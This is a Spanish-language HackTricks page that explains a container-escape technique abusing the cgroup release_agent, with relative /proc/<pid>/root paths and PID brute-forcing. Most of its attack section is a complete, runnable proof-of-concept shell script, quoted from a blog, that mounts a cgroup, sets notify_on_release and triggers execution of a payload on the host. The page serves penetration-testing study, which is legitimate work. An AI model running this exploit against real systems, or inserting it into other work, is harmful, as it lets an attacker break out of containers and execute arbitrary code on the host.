release_agent exploit - Relative Paths to PIDs

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Para más detalles consulta la entrada del blog desde https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html. Esto es solo un resumen:

La técnica describe un método para ejecutar código del host desde dentro de un contenedor, superando los desafíos planteados por las configuraciones de controladores de almacenamiento que ocultan la ruta del sistema de archivos del contenedor en el host, como Kata Containers o configuraciones específicas de devicemapper.

Pasos clave:

  1. Localización de IDs de Procesos (PIDs): Utilizando el enlace simbólico /proc/<pid>/root en el seudosistema de archivos de Linux, se puede acceder a cualquier archivo dentro del contenedor de forma relativa al sistema de archivos del host. Esto evita la necesidad de conocer la ruta del sistema de archivos del contenedor en el host.

  2. Ataque a PIDs: Se emplea un enfoque de fuerza bruta para buscar a través de los PIDs en el host. Esto se hace verificando secuencialmente la presencia de un archivo específico en /proc/<pid>/root/<archivo>. Cuando se encuentra el archivo, indica que el PID correspondiente pertenece a un proceso en ejecución dentro del contenedor objetivo.

  3. Desencadenar la Ejecución: La ruta PID adivinada se escribe en el archivo release_agent de los cgroups. Esta acción desencadena la ejecución del release_agent. El éxito de este paso se confirma verificando la creación de un archivo de salida.

Proceso de Explotación

El proceso de explotación implica un conjunto más detallado de acciones, con el objetivo de ejecutar un payload en el host adivinando el PID correcto de un proceso en ejecución dentro del contenedor. Así es como se desarrolla:

  1. Inicializar el Entorno: Se prepara un script de payload (payload.sh) en el host, y se crea un directorio único para la manipulación de cgroups.

  2. Preparar el Payload: Se escribe y se hace ejecutable el script de payload, que contiene los comandos a ejecutar en el host.

  3. Configurar Cgroup: Se monta y configura el cgroup. Se establece la bandera notify_on_release para asegurar que el payload se ejecute cuando se libere el cgroup.

  4. Ataque de Fuerza Bruta a PID: Un bucle itera a través de los PIDs potenciales, escribiendo cada PID adivinado en el archivo release_agent. Esto efectivamente establece el script de payload como el release_agent.

  5. Desencadenar y Verificar la Ejecución: Para cada PID, se escribe en cgroup.procs del cgroup, desencadenando la ejecución del release_agent si el PID es correcto. El bucle continúa hasta que se encuentra la salida del script de payload, lo que indica una ejecución exitosa.

PoC de la entrada del blog:

#!/bin/sh

OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"

# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &

# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh

OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}

# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
__EOF__

# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}

# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release

# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done

# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
Aprende hacking en AWS desde cero hasta convertirte en un héroe con htARTE (Experto en Red Team de AWS de HackTricks)!

Otras formas de apoyar a HackTricks:

Última actualización